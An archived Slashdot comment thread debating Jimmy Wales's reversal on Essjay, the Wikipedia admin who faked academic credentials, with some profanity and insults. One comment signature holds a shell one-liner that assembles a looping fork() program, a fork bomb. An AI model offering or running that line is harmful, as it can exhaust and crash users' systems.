Slashdot Mirror
Wikipedia's Wales Reverses Decision on Problem Admin
ToiletDuck writes "Wikipedia co-founder Jimbo Wales appears to have changed his mind concerning Essjay, the administrator who was caught lying about his academic credentials. Wales issued a statement today on his User Talk page requesting that EssJay voluntarily step down. Wales defended his earlier comment about EssJay, claiming 'I only learned this morning that EssJay used his false credentials in content disputes ... I want to make it perfectly clear that my past support of EssJay in this matter was fully based on a lack of knowledge about what has been going on.' Wales did not comment on whether EssJay would continue to serve in his paid position at Wikia, the for-profit cousin of Wikipedia."
Who really cares.
Who gives a *&@# department.
What difference does it make? A nobody fakes his way into a coveted spot, only to get busted in the future. History is full of such low-lifes.
Jimmy has more questions to answer. He makes no attempt to explain several fundamental points that got people worked up in the first place. What did he mean in telling The New Yorker "I have no problem with" Essjay's duplicity? When did he learn of that duplicity? (I think it was last January, since that's when Essjay got on the Wikia payroll.) And then why did he ignore the obvious moral implications of that duplicity--to the point of giving him a job and even appointing him to Arbitration Committee--until now? Jimmy needs to answer these questions convincingly, if he can.
He simply edited it with updated information.
"Fully based on a lack of knowledge", indeed. But what kind of fool conflates the use of a pseudonym with claiming credentials one never earned? So much for the vaunted Objectivist reputation for truth and integrity.
Fuck Slashdot
When has lack of knowledge about a subject ever stopped anyone on wikipedia? If it's good enough for ordinary users, it's good enough for Jimbo!
Heh. More like Wales should be kicked and fired—not that anyone at the Wikimedia Foundation has the decency to do so. I'm already regretting my donation this past winter—the more I learn about the Foundation, the more it seems they're just "meatpuppets" for Jimbo.
comma
Jimbo may have questions to answer, but -- since you're so concerned with factual accuracy -- you might want to get your facts straight before making any more accusations or indictments. To wit, Essjay was hired by Wikia *this* January (i.e., about 60 days ago) not *last* January. And now that Jimbo has found out the extent of Essjay's deception -- i.e., not a simple case of pseudonymity -- Jimbo has asked Essjay to resign from his positions of trust at Wikipedia. For a longer tome on my views, please see my blog post: http://blog.xodp.org/2007/03/credentialists-and-im postors.html
Even before this there were serious doubts as to the accuracy and credibility of the information on Wikipedia. That a top administrator and contributor to Wikipedia has faked his academic credentials and used them to influence Wikipedia content will only make this worse.
I can't think of a more damaging relevation to the Wikipedian ideal than this one, and even if it isn't a death blow to Wikipedia, scholars and researchers EVERYWHERE will have a field day with this; college professors will point to this as an example of why they don't accept citations from Wikipedia. In general, Wikipedia may be totally discredited by this scandal.
One nagging question that I have is why there is no push to validate academic credentials on Wikipedia. Ordinary users that do not claim to have any academic credentials beyond their own knowledge are fine, ones that claim to have advanced degrees in such-and-such should be required to prove this, or at least be able to validate their credentials when asked. I have no idea how this would be done, only that it SHOULD be done.. Essjay is an excellent example as to why.
I shudder to think how many more Essjays are out there right now, editing articles and claiming expertise, when in fact they have none.
-PxB
What "good" has he done? Administrators exactly like him use their powers all the time to block people they dislike from editing the Wikipedia. Those with special powers, including Essjay, alter the database to remove edits they dislike, whether those be slander and personal information or, less justifiably, information pointing out the hypocrisy that permeates the project.
Admins like Essjay are the reason Wikipedia can't attract any more contributors. Any potential new editors get disgusted and leave.
comma
Wait a second here. Of course Jimbo knew that "Essjay" was not Essjay's real name, since "Essjay" isn't a person's name. The point is that, if Jimmy's company, Wikia, hired Essjay last December or January, then Essjay had to come clean then about the fact that he wasn't a tenured Ph.D. theologian guy after all. That's heavy-duty deception that Jimmy presumably had to have learned about then. Indeed, Jimmy admitted that he knew as much The New Yorker: what else was "I don't have a problem with it" refer to? All that Jimmy says he learned this morning is that Essjay used his false credentials to win debates on Wikipedia. And he couldn't be bothered to check whether his employee had done this? And isn't it obvious, in any case, that Essjay must have risen through the Wikipedia ranks faster partly on the strength of his credentials?
These are legitimate questions, not "cheap shots."
"my past support of EssJay in this matter was fully based on a lack of knowledge about what has been going on."
Well, that's what happens when you get all your info from Wikipedia.
Don't trust a bull's horn, a doberman's tooth, a runaway horse or me.
Ben Franklin used pseudonyms in the traditional sense, to hide his identity. He did not present himself as someone with qualifications he did not have or earn.
Umm, he claimed to be a widow with kids. If I say that I'm black and that I think blacks are no longer suffering discrimination in society that carries more weight than if I was perceived as a white guy saying "blacks are not discriminated against". Now you may say that it shouldn't. And I agree it shouldn't carry more weight. But the fact is that it does.
Ben Franklin said he was a old widow with kids because saying his real identity would have distorted what he was trying to say. And I am sure he felt that way, otherwise he would have described himself at least as a man.
Most of us put "lying" and "misleading" on roughly the same footing.
Yes. Because at this point, it's probably impossible to tell how much influence he improperly exerted through his lies. Every single article he's touched has to be considered tainted until it can be generally agreed that:
Essjay's damage is particularly bad because it could be so subtle. How many people deferred to his judgment at the expense of correctness? We'll probably never know.
Indeed: so what? Silence Dogood was a middle-aged widow. What particular authority did that lie grant Franklin, assuming that he wasn't writing about childbearing or what it's like to lose your spouse? Essjay, though, directly stated that he had the educational background to make authoritative statements in his pages. Surely you can see that there's much more than a semantic difference between the two actions?
Essjay screwed you over.
Dewey, what part of this looks like authorities should be involved?
I know this is Slashdot, but you guys are overreacting on this whole matter. Imagine it was not Wikipedia, but any other company, let's say, Canonical. Imagine there is this guy whose online curriculum says is a M.S. in Computer Science, Java Certified and whatnot. He finds and files a lot of bugs on Ubuntu, helps to create packages, contribute with code, and do such a great job that Canonical decides to hire him, just to discover that he is really only an undergraduated in C.S. Canonical hires him anyway.
Three questions: 1) Would it be the wrong decision? 2) Would your confidence on their product (Ubuntu) be diminished? 3) Would it make front page on Slashdot?
I really must be new here (I'm not), because this sounds more like British sensationalist tabloid-like journalism, that likes to blow things out of proportion. That, or there is some "vast conspiracy" involving other players that aims to take the place now occupied by Wikipedia. (Citizendium, maybe, who knows. Every article mentioning some wikipedia flaw is automatically followed by comments praising the virtues of Citizendium.)
Essjay has faith in the idea that he holds a PhD. Doesn't that qualify him in the field of theology? ;)
Surely you're not saying that it matters only if Essjay used "real credentials to win a debate." Doesn't it matter even more if Essjay used his credentials implicitly to rise through Wikipedia's ranks?
Some of us have known for a long time that Wikipedia administrators are evil. See what the highly reliable Conservapedia has to say about them:
As everyone knows, Conservapedia editors are all, by any practical definition of the words, foolproof and incapable of error.
I'm going to transform myself into a mighty hawk. Either that or I'll just go and work at Dixons, haven't decided yet.
Wait and see if he actually does resign, first. By the way, I love the fact that his WP user page is headed "stamus contra malum" -- "we stand against evil." Suuuuure you do, Essjay.
Jimbo's change of mind is a good thing but I suspect it's too late. A lot of damage has been done: journalists will have a field-day with this fiasco, and WP now has a reputation as a community that rewards lying. Not a good way of attracting contributors; not honest ones, at least. Couldn't be much worse, really. Well, no, it could be -- if Jimbo hadn't flip-flopped, I guess that'd be worse.
Jimmy Wales shows us the qualities of a good Wikipedia administrator:
1. Doesn't know what he's talking about, yet talks anyways.
2. Soft on folks who deliberately falsify information.
What more could you ask for? Er, wait...
Plausible conjecture should not be misrepresented as proof positive.
>Ben Franklin used pseudonyms in the traditional sense, to hide his identity. He did not present himself as someone with qualifications he did not have or earn.
Not true. Ben Franklin used a pseudonym to present himself as a free man, when in fact he was a runaway apprentice.
If Wikipedia getting duped, and as a result having inaccurate content it has to retract, is a "death-knell" for Wikipedia, then wouldn't The New Yorker getting duped, and as a result having inaccurate content it has to retract, also be a "death-knell" for The New Yorker? Here's a professional organization, with paid staff to check these things, and their article still got it every bit as wrong as Wikipedia did.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
Wikipedia — Serious business.
Speaking of serious, I seriously can't believe someone would lie about themselves on the Internet, of all places (and on Wikipedia too!), for their own benefit!
I presume someone being a liar, and a seriously committed one at that, is not irrelevant on Wikipedia.
So the argument about credentials being irrelevant, is in fact itself irrelevant, as it is the deception that is the issue, not the perceived effects of it in influencing Wikipedia editing.
Bizarrely, Wales appears to think the latter is the most important thing, and that up until he found out about that, was perfectly happy with the deception.
This suggests a very big disconnection from reality for the figurehead (indeed more than that) of a project like Wikipedia.
-- *~()____) This message will self-destruct in 5 seconds...
He was using his fake credentials to enhance his reputation on Wikipedia. Reputation is everything for the typical Wikipedean. Special privileges are doled out to those that have convinced The Community that they are trustworthy servants to The Project. They say these positions are janitorial roles; that they are but a mop and a bucket for servants to The Project. In reality, they are status symbols for the obsessed, or tools used to enhance one's ability to push a particular point of view.
He was using his fake credentials to speak from authority on article content issues.
He cited his fake credentials in correspondence with real academics to try to enhance Wikipedia's credibility.
He cited his fake credentials to the media, apparently because those fifteen minutes of fame are much more fun when one is a tenured professor with four degrees instead of a college dropout living with a cat in Kentucky.
Above comment is likely from a sockpuppet of essjay. Sock puppets are a violation of WP:SOCK. Stop doing this or get an IP ban.
;-)
I vote to keep essjay deleted on grounds of non notability.
Sucks to be on the receiving end of WikiBureaucracy doesn't it essjay
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Whether someone is honest or a liar is, in fact, irrelevant to their contributions as a rank and file Wikipedian. Indeed, that is why anonymous contributions make up the bulk of Wikipedia content. (See - http://www.aaronsw.com/weblog/whowriteswikipedia -). However, Essjay was not a rank and file Wikipedian: He pursued and acquired positions of trust and authority, and his fraudulent credentials were used to bolster his credibility, the credibility of his contributions to Wikipedia, and the credibility of Wikipedia. As such, the use of credentials -- which should be irrelevant -- has become the crux of the issue.
...on a number of issues. He may not have known precisely to what extent Essjay was using his falsified credentials to gain the upper hand in a multitude of content disputes, but Wales was fully aware that Essjay had created a persona based on fictitious credentials.
You are twisting reality around in a truly bizarre fashion. Doesn't truth matter any more? You appear to be hung up on some kind of abstract concept ("credentials" and whether they matter or not) while holding your fingers in your ears and saying "LA LA LA I CAN'T HEAR YOU" with respect to the giant elephant in the room - which is the simple fact that what this admin did was unethical, manipulative and just plain WRONG, and moreover Larry probably knew this, and didn't seem to care. It's quite amazing the mental contortions people will go through (calling all of this "disinformation" or "misinformation" rather than LIES) in order to convince themselves that they are in the right and ok. These are traits of truly mentally disturbed people, when they can't even admit to themselves that they deceived everybody. It's not about credentials, man, it's about right and wrong in the most fundamental sense.
I've seen dozens of posts where people say everyone is overreacting. I think a lot of those people are losing sight of the core of the issue.
This isn't a simple case of "He wasn't who he said he was." If it were just a matter of hiding his name, age, or location, that would be fine. It's a matter of falsifying credentials, namely, having a doctorate and being a tenured professor. People work years to achieve both of those, he just sits down at his computer and decides "I got those."
It's all part of this "Generation Me" syndrome. They think they deserve anything they desire, without working for it. Honorific titles, titles of achievement, tenure, knighthood, a million dollars, whatever, they deserve it because they're so fucking special. They were breastfed self-esteem, they jerk off to pictures of themselves, and they think the whole world should appreciate their blessed presence.
I have an AAS in Software Applications and Programming. I don't care what anyone says about my degree or where I went to school (ITT Tech), it doesn't matter, because I earned it, and that's more than this wanker can ever say for himself.